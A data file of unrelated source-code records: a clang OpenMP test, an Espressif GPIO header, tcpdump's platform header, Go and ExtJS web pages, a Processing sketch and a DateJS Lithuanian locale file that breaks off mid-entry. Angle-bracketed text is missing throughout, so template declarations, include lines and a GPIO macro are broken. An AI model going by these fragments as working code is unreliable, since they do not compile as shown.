results.\n*\n CALL ALASUM( PATH, NOUT, NFAIL, NRUN, NERRS )\n*\n 9999 FORMAT( 1X, A, ' M =', I5, ', N =', I5, ', NB =', I4, ', type ',\n $ I2, ', test ', I2, ', ratio =', G12.5 )\n*\n* End of SCHKQ3\n*\n END\n"} {"text": "// RUN: %clang_cc1 -verify -fopenmp -ast-print %s | FileCheck %s\n// RUN: %clang_cc1 -fopenmp -x c++ -std=c++11 -emit-pch -o %t %s\n// RUN: %clang_cc1 -fopenmp -std=c++11 -include-pch %t -fsyntax-only -verify %s -ast-print | FileCheck %s\n\n// RUN: %clang_cc1 -verify -fopenmp-simd -ast-print %s | FileCheck %s\n// RUN: %clang_cc1 -fopenmp-simd -x c++ -std=c++11 -emit-pch -o %t %s\n// RUN: %clang_cc1 -fopenmp-simd -std=c++11 -include-pch %t -fsyntax-only -verify %s -ast-print | FileCheck %s\n// expected-no-diagnostics\n\n#ifndef HEADER\n#define HEADER\n\nvoid foo() {}\n\ntemplate \nstruct S {\n operator T() {return T();}\n static T TS;\n #pragma omp threadprivate(TS)\n};\n\n// CHECK: template struct S {\n// CHECK: static T TS;\n// CHECK-NEXT: #pragma omp threadprivate(S::TS)\n// CHECK: };\n// CHECK: template<> struct S {\n// CHECK: static int TS;\n// CHECK-NEXT: #pragma omp threadprivate(S::TS)\n// CHECK-NEXT: }\n// CHECK: template<> struct S {\n// CHECK: static long TS;\n// CHECK-NEXT: #pragma omp threadprivate(S::TS)\n// CHECK-NEXT: }\n\ntemplate \nT tmain(T argc, T *argv) {\n T b = argc, c, d, e, f, g;\n static T a;\n S s;\n#pragma omp target\n#pragma omp teams\n a=2;\n#pragma omp target\n#pragma omp teams default(none), private(argc,b) firstprivate(argv) shared (d) reduction(+:c) reduction(max:e) num_teams(C) thread_limit(d*C)\n foo();\n#pragma omp target\n#pragma omp teams reduction(^:e, f) reduction(&& : g)\n foo();\n return 0;\n}\n\n// CHECK: template T tmain(T argc, T *argv) {\n// CHECK-NEXT: T b = argc, c, d, e, f, g;\n// CHECK-NEXT: static T a;\n// CHECK-NEXT: S s;\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams{{$}}\n// CHECK-NEXT: a = 2;\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) firstprivate(argv) shared(d) reduction(+: c) reduction(max: e) num_teams(C) thread_limit(d * C)\n// CHECK-NEXT: foo()\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams reduction(^: e,f) reduction(&&: g)\n// CHECK-NEXT: foo()\n// CHECK: template<> int tmain(int argc, int *argv) {\n// CHECK-NEXT: int b = argc, c, d, e, f, g;\n// CHECK-NEXT: static int a;\n// CHECK-NEXT: S s;\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams\n// CHECK-NEXT: a = 2;\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) firstprivate(argv) shared(d) reduction(+: c) reduction(max: e) num_teams(5) thread_limit(d * 5)\n// CHECK-NEXT: foo()\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams reduction(^: e,f) reduction(&&: g)\n// CHECK-NEXT: foo()\n// CHECK: template<> long tmain(long argc, long *argv) {\n// CHECK-NEXT: long b = argc, c, d, e, f, g;\n// CHECK-NEXT: static long a;\n// CHECK-NEXT: S s;\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams\n// CHECK-NEXT: a = 2;\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) firstprivate(argv) shared(d) reduction(+: c) reduction(max: e) num_teams(1) thread_limit(d * 1)\n// CHECK-NEXT: foo()\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams reduction(^: e,f) reduction(&&: g)\n// CHECK-NEXT: foo()\n\nenum Enum { };\n\nint main (int argc, char **argv) {\n long x;\n int b = argc, c, d, e, f, g;\n static int a;\n #pragma omp threadprivate(a)\n Enum ee;\n// CHECK: Enum ee;\n#pragma omp target\n#pragma omp teams\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams\n a=2;\n// CHECK-NEXT: a = 2;\n#pragma omp target\n#pragma omp teams default(none), private(argc,b) num_teams(f) firstprivate(argv) reduction(| : c, d) reduction(* : e) thread_limit(f+g)\n// CHECK-NEXT: #pragma omp target\n// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) num_teams(f) firstprivate(argv) reduction(|: c,d) reduction(*: e) thread_limit(f + g)\n foo();\n// CHECK-NEXT: foo();\n return tmain(b, &b) + tmain(x, &x);\n}\n\nextern template int S::TS;\nextern template long S::TS;\n#endif\n"} {"text": "/*\n * copyright (c) Espressif System 2010\n *\n */\n\n#ifndef _GPIO_H_\n#define _GPIO_H_\n\n#define GPIO_PIN_ADDR(i) (GPIO_PIN0_ADDRESS + i*4)\n\n#define GPIO_ID_IS_PIN_REGISTER(reg_id) \\\n ((reg_id >= GPIO_ID_PIN0) && (reg_id <= GPIO_ID_PIN(GPIO_PIN_COUNT-1)))\n\n#define GPIO_REGID_TO_PINIDX(reg_id) ((reg_id) - GPIO_ID_PIN0)\n\ntypedef enum {\n GPIO_PIN_INTR_DISABLE = 0,\n GPIO_PIN_INTR_POSEDGE = 1,\n GPIO_PIN_INTR_NEGEDGE = 2,\n GPIO_PIN_INTR_ANYEDGE = 3,\n GPIO_PIN_INTR_LOLEVEL = 4,\n GPIO_PIN_INTR_HILEVEL = 5\n} GPIO_INT_TYPE;\n\n#define GPIO_OUTPUT_SET(gpio_no, bit_value) \\\n gpio_output_set(bit_value<>gpio_no)&BIT0)\n\n/* GPIO interrupt handler, registered through gpio_intr_handler_register */\ntypedef void (* gpio_intr_handler_fn_t)(uint32 intr_mask, void *arg);\n\n\n/*\n * Initialize GPIO. This includes reading the GPIO Configuration DataSet\n * to initialize \"output enables\" and pin configurations for each gpio pin.\n * Must be called once during startup.\n */\nvoid gpio_init(void);\n\n/*\n * Change GPIO pin output by setting, clearing, or disabling pins.\n * In general, it is expected that a bit will be set in at most one\n * of these masks. If a bit is clear in all masks, the output state\n * remains unchanged.\n *\n * There is no particular ordering guaranteed; so if the order of\n * writes is significant, calling code should divide a single call\n * into multiple calls.\n */\nvoid gpio_output_set(uint32 set_mask,\n uint32 clear_mask,\n uint32 enable_mask,\n uint32 disable_mask);\n\n/*\n * Sample the value of GPIO input pins and returns a bitmask.\n */\nuint32 gpio_input_get(void);\n\n/*\n * Set the specified GPIO register to the specified value.\n * This is a very general and powerful interface that is not\n * expected to be used during normal operation. It is intended\n * mainly for debug, or for unusual requirements.\n */\nvoid gpio_register_set(uint32 reg_id, uint32 value);\n\n/* Get the current value of the specified GPIO register. */\nuint32 gpio_register_get(uint32 reg_id);\n\n/*\n * Register an application-specific interrupt handler for GPIO pin\n * interrupts. Once the interrupt handler is called, it will not\n * be called again until after a call to gpio_intr_ack. Any GPIO\n * interrupts that occur during the interim are masked.\n *\n * The application-specific handler is called with a mask of\n * pending GPIO interrupts. After processing pin interrupts, the\n * application-specific handler may wish to use gpio_intr_pending\n * to check for any additional pending interrupts before it returns.\n */\nvoid gpio_intr_handler_register(gpio_intr_handler_fn_t fn, void *arg);\n\n/* Determine which GPIO interrupts are pending. */\nuint32 gpio_intr_pending(void);\n\n/*\n * Acknowledge GPIO interrupts.\n * Intended to be called from the gpio_intr_handler_fn.\n */\nvoid gpio_intr_ack(uint32 ack_mask);\n\nvoid gpio_pin_wakeup_enable(uint32 i, GPIO_INT_TYPE intr_state);\n\nvoid gpio_pin_wakeup_disable();\n\nvoid gpio_pin_intr_state_set(uint32 i, GPIO_INT_TYPE intr_state);\n\n#endif // _GPIO_H_\n"} {"text": "/*\n * Copyright 2009 Red Hat, Inc.\n *\n * Red Hat licenses this file to you under the Apache License, version 2.0\n * (the \"License\"); you may not use this file except in compliance with the\n * License. You may obtain a copy of the License at:\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations\n * under the License.\n */\n\n/**\n * NIO-based socket channel\n * API implementation - recommended for a large number of connections (>= 1000).\n */\npackage org.jboss.netty.channel.socket.nio;\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n@interface _EARFormatter : NSObject\n{\n struct shared_ptr _itn;\n}\n\n+ (void)initialize;\n- (id).cxx_construct;\n- (void).cxx_destruct;\n- (basic_string_805fe43b)getOrthography:(const vector_07ad5caa *)arg1;\n- (vector_07ad5caa)formatWords:(vector_07ad5caa)arg1;\n- (id)initWithGeneralVoc:(id)arg1 withLexiconEnh:(id)arg2 withItnEnh:(id)arg3;\n- (id)initWithLanguage:(id)arg1 withSdapiConfig:(id)arg2;\n\n@end\n\n"} {"text": "\n\n
\n\n

Get help

\n\n\"\"/\n\n{{if not $.GoogleCN}}\n

Go Nuts Mailing List

\n

\nGet help from Go users, and share your work on the official mailing list.\n

\n

\nSearch the golang-nuts\narchives and consult the FAQ and\nwiki before posting.\n

\n\n

Go Forum

\n

\nThe Go Forum is a discussion\nforum for Go programmers.\n

\n\n

Gophers Discord

\n

\nGet live support and talk with other gophers on the Go Discord.\n

\n\n

Gopher Slack

\n

Get live support from other users in the Go slack channel.

\n\n

Go IRC Channel

\n

Get live support at #go-nuts on irc.freenode.net, the official\nGo IRC channel.

\n{{end}}\n\n

Frequently Asked Questions (FAQ)

\n

Answers to common questions about Go.

\n\n{{if not $.GoogleCN}}\n

Stay informed

\n\n

Go Announcements Mailing List

\n

\nSubscribe to\ngolang-announce\nfor important announcements, such as the availability of new Go releases.\n

\n\n

Go Blog

\n

The Go project's official blog.

\n\n

@golang at Twitter

\n

The Go project's official Twitter account.

\n\n

golang sub-Reddit

\n

\nThe golang sub-Reddit is a place\nfor Go news and discussion.\n

\n\n

Go Time Podcast

\n

\nThe Go Time podcast is a panel of Go experts and special guests\ndiscussing the Go programming language, the community, and everything in between.\n

\n{{end}}\n\n

Community resources

\n\n

Go User Groups

\n

\nEach month in places around the world, groups of Go programmers (\"gophers\")\nmeet to talk about Go. Find a chapter near you.\n

\n\n{{if not $.GoogleCN}}\n

Go Playground

\n

A place to write, run, and share Go code.

\n\n

Go Wiki

\n

A wiki maintained by the Go community.

\n{{end}}\n\n

Code of Conduct

\n

\nGuidelines for participating in Go community spaces\nand a reporting process for handling issues.\n

\n\n"} {"text": "\n\nArray Grid DropZone Example\n \n \n \n \n \n \n \n\n\n\n

Using a GridPanel as a DropZone managing each grid cell as a target

\n

This example assumes prior knowledge of using a GridPanel.

\n

This illustrates how a DragZone can manage an arbitrary number of drag sources, and\nhow a DropZone can manage an arbitrary number of targets.

\n

Note that the js is not minified so it is readable. See field-to-grid-dd.js.

\n
\n
\n\n"} {"text": "/*\n * Copyright (c) 2002 - 2003\n * NetGroup, Politecnico di Torino (Italy)\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. Neither the name of the Politecnico di Torino nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n/*\n * Include the appropriate OS header files on Windows and various flavors\n * of UNIX, include various non-OS header files on Windows, and define\n * various items as needed, to isolate most of netdissect's platform\n * differences to this one file.\n */\n\n#ifndef netdissect_stdinc_h\n#define netdissect_stdinc_h\n\n#include \n\n#include \"compiler-tests.h\"\n\n#include \"varattrs.h\"\n\n/*\n * If we're compiling with Visual Studio, make sure we have at least\n * VS 2015 or later, so we have sufficient C99 support.\n *\n * XXX - verify that we have at least C99 support on UN*Xes?\n *\n * What about MinGW or various DOS toolchains? We're currently assuming\n * sufficient C99 support there.\n */\n#if defined(_MSC_VER)\n /*\n * Make sure we have VS 2015 or later.\n */\n #if _MSC_VER < 1900\n #error \"Building tcpdump requires VS 2015 or later\"\n #endif\n#endif\n\n/*\n * Get the C99 types, and the PRI[doux]64 format strings, defined.\n */\n#ifdef HAVE_PCAP_PCAP_INTTYPES_H\n /*\n * We have pcap/pcap-inttypes.h; use that, as it'll do all the\n * work, and won't cause problems if a file includes this file\n * and later includes a pcap header file that also includes\n * pcap/pcap-inttypes.h.\n */\n #include \n#else\n /*\n * OK, we don't have pcap/pcap-inttypes.h, so we'll have to\n * do the work ourselves, but at least we don't have to\n * worry about other headers including it and causing\n * clashes.\n */\n\n /*\n * Include to get the integer types and PRi[doux]64 values\n * defined.\n *\n * If the compiler is MSVC, we require VS 2015 or newer, so we\n * have - and support for %zu in the formatted\n * printing functions.\n *\n * If the compiler is MinGW, we assume we have - and\n * support for %zu in the formatted printing functions.\n *\n * If the target is UN*X, we assume we have a C99-or-later development\n * environment, and thus have - and support for %zu in\n * the formatted printing functions.\n *\n * If the target is MS-DOS, we assume we have - and support\n * for %zu in the formatted printing functions.\n */\n #include \n\n #if defined(_MSC_VER)\n /*\n * Suppress definition of intN_t in bittypes.h, which might be included\n * by in older versions of WinPcap.\n * (Yes, HAVE_U_INTn_T, as the definition guards are UN*X-oriented.)\n */\n #define HAVE_U_INT8_T\n #define HAVE_U_INT16_T\n #define HAVE_U_INT32_T\n #define HAVE_U_INT64_T\n #endif\n#endif /* HAVE_PCAP_PCAP_INTTYPES_H */\n\n#ifdef _WIN32\n\n/*\n * Includes and definitions for Windows.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifdef _MSC_VER\n /*\n * Compiler is MSVC.\n *\n * We require VS 2015 or newer, so we have strtoll(). Use that for\n * strtoint64_t().\n */\n #define strtoint64_t\tstrtoll\n\n /*\n * And we have LL as a suffix for constants, so use that.\n */\n #define INT64_T_CONSTANT(constant)\t(constant##LL)\n#else\n /*\n * Non-Microsoft compiler.\n *\n * XXX - should we use strtoll or should we use _strtoi64()?\n */\n #define strtoint64_t\t\tstrtoll\n\n /*\n * Assume LL works.\n */\n #define INT64_T_CONSTANT(constant)\t(constant##LL)\n#endif\n\n#ifdef _MSC_VER\n /*\n * Microsoft tries to avoid polluting the C namespace with UN*Xisms,\n * by adding a preceding underscore; we *want* the UN*Xisms, so add\n * #defines to let us use them.\n */\n #define isatty _isatty\n #define stat _stat\n #define strdup _strdup\n #define open _open\n #define fstat _fstat\n #define read _read\n #define close _close\n #define O_RDONLY _O_RDONLY\n\n /*\n * If has been included, and _DEBUG is defined, and\n * __STDC__ is zero, will define strdup() to call\n * _strdup_dbg(). So if it's already defined, don't redefine\n * it.\n */\n #ifndef strdup\n #define strdup _strdup\n #endif\n\n /*\n * Windows doesn't have ssize_t; routines such as _read() return int.\n */\n typedef int ssize_t;\n#endif /* _MSC_VER */\n\n/*\n * With MSVC, for C, __inline is used to make a function an inline.\n */\n#ifdef _MSC_VER\n#define inline __inline\n#endif\n\n#if defined(AF_INET6) && !defined(HAVE_OS_IPV6_SUPPORT)\n#define HAVE_OS_IPV6_SUPPORT\n#endif\n\n#ifndef INET6_ADDRSTRLEN\n#define INET6_ADDRSTRLEN 46\n#endif\n\n/* It is in MSVC's , but not defined in MingW+Watcom.\n */\n#ifndef EAFNOSUPPORT\n#define EAFNOSUPPORT WSAEAFNOSUPPORT\n#endif\n\n#ifndef caddr_t\ntypedef char* caddr_t;\n#endif /* caddr_t */\n\n#define MAXHOSTNAMELEN\t64\n\n#else /* _WIN32 */\n\n/*\n * Includes and definitions for various flavors of UN*X.\n */\n\n#include \n#include \n#include \n#include \t\t\t/* concession to AIX */\n#include \n#include \n#include \n\n#include \n\n#include \n\n/*\n * Assume all UN*Xes have strtoll(), and use it for strtoint64_t().\n */\n#define strtoint64_t\tstrtoll\n\n/*\n * Assume LL works.\n */\n#define INT64_T_CONSTANT(constant)\t(constant##LL)\n\n#endif /* _WIN32 */\n\n/*\n * Function attributes, for various compilers.\n */\n#include \"funcattrs.h\"\n\n/*\n * fopen() read and write modes for text files and binary files.\n */\n#if defined(_WIN32) || defined(MSDOS)\n #define FOPEN_READ_TXT \"rt\"\n #define FOPEN_READ_BIN \"rb\"\n #define FOPEN_WRITE_TXT \"wt\"\n #define FOPEN_WRITE_BIN \"wb\"\n#else\n #define FOPEN_READ_TXT \"r\"\n #define FOPEN_READ_BIN FOPEN_READ_TXT\n #define FOPEN_WRITE_TXT \"w\"\n #define FOPEN_WRITE_BIN FOPEN_WRITE_TXT\n#endif\n\n/*\n * Inline x86 assembler-language versions of ntoh[ls]() and hton[ls](),\n * defined if the OS doesn't provide them. These assume no more than\n * an 80386, so, for example, it avoids the bswap instruction added in\n * the 80486.\n *\n * (We don't use them on macOS; Apple provides their own, which *doesn't*\n * avoid the bswap instruction, as macOS only supports machines that\n * have it.)\n */\n#if defined(__GNUC__) && defined(__i386__) && !defined(__APPLE__) && !defined(__ntohl)\n #undef ntohl\n #undef ntohs\n #undef htonl\n #undef htons\n\n static __inline__ unsigned long __ntohl (unsigned long x);\n static __inline__ unsigned short __ntohs (unsigned short x);\n\n #define ntohl(x) __ntohl(x)\n #define ntohs(x) __ntohs(x)\n #define htonl(x) __ntohl(x)\n #define htons(x) __ntohs(x)\n\n static __inline__ unsigned long __ntohl (unsigned long x)\n {\n __asm__ (\"xchgb %b0, %h0\\n\\t\" /* swap lower bytes */\n \"rorl $16, %0\\n\\t\" /* swap words */\n \"xchgb %b0, %h0\" /* swap higher bytes */\n : \"=q\" (x) : \"0\" (x));\n return (x);\n }\n\n static __inline__ unsigned short __ntohs (unsigned short x)\n {\n __asm__ (\"xchgb %b0, %h0\" /* swap bytes */\n : \"=q\" (x) : \"0\" (x));\n return (x);\n }\n#endif\n\n/*\n * If the OS doesn't define AF_INET6 and struct in6_addr:\n *\n * define AF_INET6, so we can use it internally as a \"this is an\n * IPv6 address\" indication;\n *\n * define struct in6_addr so that we can use it for IPv6 addresses.\n */\n#ifndef HAVE_OS_IPV6_SUPPORT\n#ifndef AF_INET6\n#define AF_INET6\t24\n\nstruct in6_addr {\n\tunion {\n\t\t__uint8_t __u6_addr8[16];\n\t\t__uint16_t __u6_addr16[8];\n\t\t__uint32_t __u6_addr32[4];\n\t} __u6_addr;\t\t\t/* 128-bit IP6 address */\n};\n#endif\n#endif\n\n#ifndef NI_MAXHOST\n#define\tNI_MAXHOST\t1025\n#endif\n\n#ifndef INET_ADDRSTRLEN\n#define INET_ADDRSTRLEN 16\n#endif\n\n#ifndef TRUE\n#define TRUE 1\n#endif\n\n#ifndef FALSE\n#define FALSE 0\n#endif\n\n/*\n * The Apple deprecation workaround macros below were adopted from the\n * FreeRADIUS server code under permission of Alan DeKok and Arran Cudbard-Bell.\n */\n\n#define XSTRINGIFY(x) #x\n\n/*\n *\tMacros for controlling warnings in GCC >= 4.2 and clang >= 2.8\n */\n#define DIAG_JOINSTR(x,y) XSTRINGIFY(x ## y)\n#define DIAG_DO_PRAGMA(x) _Pragma (#x)\n\n/*\n * The current clang compilers also define __GNUC__ and __GNUC_MINOR__\n * thus we need to test the clang case before the GCC one\n */\n#if defined(__clang__)\n# if (__clang_major__ * 100) + __clang_minor__ >= 208\n# define DIAG_PRAGMA(x) DIAG_DO_PRAGMA(clang diagnostic x)\n# define DIAG_OFF(x) DIAG_PRAGMA(push) DIAG_PRAGMA(ignored DIAG_JOINSTR(-W,x))\n# define DIAG_ON(x) DIAG_PRAGMA(pop)\n# else\n# define DIAG_OFF(x)\n# define DIAG_ON(x)\n# endif\n#elif defined(__GNUC__) && ((__GNUC__ * 100) + __GNUC_MINOR__) >= 402\n# define DIAG_PRAGMA(x) DIAG_DO_PRAGMA(GCC diagnostic x)\n# if ((__GNUC__ * 100) + __GNUC_MINOR__) >= 406\n# define DIAG_OFF(x) DIAG_PRAGMA(push) DIAG_PRAGMA(ignored DIAG_JOINSTR(-W,x))\n# define DIAG_ON(x) DIAG_PRAGMA(pop)\n# else\n# define DIAG_OFF(x) DIAG_PRAGMA(ignored DIAG_JOINSTR(-W,x))\n# define DIAG_ON(x) DIAG_PRAGMA(warning DIAG_JOINSTR(-W,x))\n# endif\n#else\n# define DIAG_OFF(x)\n# define DIAG_ON(x)\n#endif\n\n/* Use for clang specific warnings */\n#ifdef __clang__\n# define DIAG_OFF_CLANG(x) DIAG_OFF(x)\n# define DIAG_ON_CLANG(x) DIAG_ON(x)\n#else\n# define DIAG_OFF_CLANG(x)\n# define DIAG_ON_CLANG(x)\n#endif\n\n/*\n *\tFor dealing with APIs which are only deprecated in OSX (like the OpenSSL API)\n */\n#ifdef __APPLE__\n# define USES_APPLE_DEPRECATED_API DIAG_OFF(deprecated-declarations)\n# define USES_APPLE_RST DIAG_ON(deprecated-declarations)\n#else\n# define USES_APPLE_DEPRECATED_API\n# define USES_APPLE_RST\n#endif\n\n/*\n * end of Apple deprecation workaround macros\n */\n\n/*\n * Statement attributes, for various compilers.\n *\n * This was introduced sufficiently recently that compilers implementing\n * it also implement __has_attribute() (for example, GCC 5.0 and later\n * have __has_attribute(), and the \"fallthrough\" attribute was introduced\n * in GCC 7).\n *\n * Unfortunately, Clang does this wrong - a statement\n *\n * __attribute__ ((fallthrough));\n *\n * produces bogus -Wmissing-declaration \"declaration does not declare\n * anything\" warnings (dear Clang: that's not a declaration, it's an\n * empty statement). GCC, however, has no trouble with this.\n */\n#if __has_attribute(fallthrough) && !defined(__clang__)\n# define ND_FALL_THROUGH __attribute__ ((fallthrough))\n#else\n# define ND_FALL_THROUGH\n#endif /* __has_attribute(fallthrough) */\n\n#endif /* netdissect_stdinc_h */\n"} {"text": "float theta = 0.01;\n\nvoid setup() {\n size(500, 500);\n frameRate(30);\n smooth();\n stroke(255);\n \n}\n\nvoid draw() {\n// saveFrame(\"output/frames#################.tif\");\n\n background(0);\n\n for (int y = 0; y < height; y += 10) {\n for(int x = 0; x < width; x += 10) {\n pushMatrix();\n translate(width/2, height/2);\n rotate(theta);\n strokeWeight(1);\n point(mouseX, y);\n strokeWeight(3);\n point(x, mouseY);\n theta++;\n popMatrix();\n }\n }\n}\n"} {"text": "/* \n * DateJS Culture String File\n * Country Code: lt-LT\n * Name: Lithuanian (Lithuania)\n * Format: \"key\" : \"value\"\n * Key is the en-US term, Value is the Key in the current language.\n */\nDate.CultureStrings = Date.CultureStrings || {};\nDate.CultureStrings[\"lt-LT\"] = {\n \"name\": \"lt-LT\",\n \"englishName\": \"Lithuanian (Lithuania)\",\n \"nativeName\": \"lietuvių (Lietuva)\",\n \"Sunday\": \"sekmadienis\",\n \"Monday\": \"pirmadienis\",\n \"Tuesday\": \"antradienis\",\n \"Wednesday\": \"trečiadienis\",\n \"Thursday\": \"ketvirtadienis\",\n \"Friday\": \"penktadienis\",\n \"Saturday\": \"šeštadienis\",\n \"Sun\": \"Sk\",\n \"Mon\": \"Pr\",\n \"Tue\": \"An\",\n \"Wed\": \"Tr\",\n \"Thu\": \"Kt\",\n \"Fri\": \"Pn\",\n \"Sat\": \"Št\",\n \"Su\": \"S\",\n \"Mo\": \"P\",\n \"Tu\": \"A\",\n \"We\": \"T\",\n \"Th\": \"K\",\n \"Fr\": \"Pn\",\n \"Sa\": \"Š\",\n \"S_Sun_Initial\": \"S\",\n \"M_Mon_Initial\": \"P\",\n \"T_Tue_Initial\": \"A\",\n \"W_Wed_Initial\": \"T\",\n \"T_Thu_Initial\": \"K\",\n \"F_Fri_Initial\": \"P\",\n \"S_Sat_Initial\": \"Š\",\n \"January\": \"sausis\",\n \"February\": \"vasaris\",\n \"March\": \"kovas\",\n \"April\": \"balandis\",\n \"May\": \"gegužė\",\n \"June\": \"birželis\",\n \"July\": \"liepa\",\n \"August\": \"rugpjūtis\",\n \"September\": \"rugsėjis\",\n \"October\": \"spalis\",\n \"November\": \"lapkritis\",\n \"December\": \"gruodis\",\n \"Jan_Abbr\": \"Sau\",\n \"Feb_Abbr\": \"Vas\",\n \"Mar_Abbr\": \"Kov\",\n \"Apr_Abbr\": \"Bal\",\n \"May_Abbr\": \"Geg\",\n \"Jun_Abbr\": \"Bir\",\n \"Jul_Abbr\": \"Lie\",\n \"Aug_Abbr\": \"Rgp\",\n \"Sep_Abbr\": \"Rgs\",\n \"Oct_Abbr\": \"Spl\",\n \"Nov_Abbr\": \"Lap\",\n \"Dec_Abbr\": \"Grd\",\n \"AM\": \"\",\n \"PM\": \"\",\n \"firstDayOfWeek\": 1,\n \"twoDigitYearMax\": 2029,\n \"mdy\": \"ymd\",\n \"M/d/yyyy\": \"yyyy.MM.dd\",\n \"dddd, MMMM dd, yyyy\": \"yyyy 'm.' MMMM d 'd.'\",\n \"h:mm tt\": \"HH:mm\",\n \"h:mm:ss tt\": \"HH:mm:ss\",\n \"dddd, MMMM dd, yyyy h:mm:ss tt\": \"yyyy 'm.' MMMM d 'd.' HH:mm:ss\",\n \"yyyy-MM-ddTHH:mm:ss\": \"yyyy-MM-ddTHH:mm:ss\",\n \"yyyy-MM-dd HH:mm:ssZ\": \"yyyy-MM-dd HH:mm:ssZ\",\n \"ddd, dd MMM yyyy HH:mm:ss\": \"ddd, dd MMM yyyy HH:mm:ss\",\n \"MMMM dd\": \"MMMM d 'd.'\",\n \"MMMM, yyyy\": \"yyyy 'm.' MMMM\",\n \"/jan(uary)?/\": \"sau(sis)?\",\n \"/feb(ruary)?/\": \"vas(aris)?\",\n \"/mar(ch)?/\": \"kov(as)?\",\n \"/apr(il)?/\": \"bal(andis)?\",\n \"/may/\": \"geg(užė)?\",\n \"/jun(e)?/\": \"bir(želis)?\",\n \"/jul(y)?/\": \"lie(pa)?\",\n \"/aug(ust)?/\": \"rugpjūtis\",\n \"/sep(t(ember)?)?/\": \"rugsėjis\",\n \"/oct(ober)?/\": \"spalis\",\n \"/nov(ember)?/\": \"lap(kritis)?\",\n \"/dec(ember)?/\": \"gruodis\",\n \"/^su(n(day)?)?/\": \"^s(k(kmadienis)?)?\",\n \"/^mo(n(day)?)?/\": \"^p(r(rmadienis)?)?\",\n \"/^tu(e(s(day)?)?)?/\": \"^a(n(tradienis)?)?\",\n \"/^we(d(nesday)?)?/\": \"^t(r(ečiadienis)?)?\",\n \"/^th(u(r(s(day)?)?)?)?/\": \"^k(t(tvirtadienis)?)?\",\n \"/^fr(i(day)?)?/\": \"^penktadienis\",\n \"/^sa(t(urday)?)?/\": \"^š(t(štadienis)?)?\",\n \"/^next/\": \"^next\",\n \"/^last|past|prev(ious)?/\": \"^last|past|prev(ious)?\",\n \"/^(\\\\+|aft(er)?|from|hence)/\": \"^(\\\\+|aft(er)?|from|hence)\",\n \"/^(\\\\-|bef(ore)?|ago)/\": \"^(\\\\-|bef(ore)?|ago)\",\n \"/^yes(terday)?/\": \"^yes(terday)?\",\n \"/^t(od(ay)?)?/\": \"^t(od(ay)?)?\",\n \"/^tom(orrow)?/\": \"^tom(orrow)?\",\n \"/^n(ow)?/\": \"^n(ow)?\",\n \"/^ms|milli(second)?s?/\": \"^ms|milli(second)?s?\",\n \"/^sec(ond)?s?/\": \"^sec(ond)?s?\",\n \"/^mn|min(ute)?s?/\": \"^mn|min(ute)?s?\",\n \"/^h(our)?s?/\": \"^h(our)?s?\",\n \"/^w(eek)?s?/\": \"^w(eek)?s?\",\n \"/^m(onth)?s?/\": \"^m(onth)?s?\",\n \"/^d(ay)?s?/\": \"^d(ay)?s?\",\n \"/^y(ear)?s?/\": \"^y(ear)?s?\",\n \"/^(a|p)/\": \"^(a|p)\",\n \"/^(a\\\\.?m?\\\\.?|p\\\\.?m?\\\\.?)/\": \"^(a\\\\.?m?\\\\.?|p\\\\.?m?\\\\.?)\",\n \"/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\\\s*(\\\\+|\\\\-)\\\\s*\\\\d\\\\d\\\\d\\\\d?)|gmt|utc)/\": \"^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\\\s*(\\\\+|\\\\-)\\\\s*\\\\d\\\\d\\\\d\\\\d?)|gmt|utc)\",\n \"/^\\\\s*(st|nd|rd|th)/\": \"^\\\\s*(st|nd|rd|th)\",\n \"/^\\\\s*(\\\\:|a(?!u|p)|p)/\": 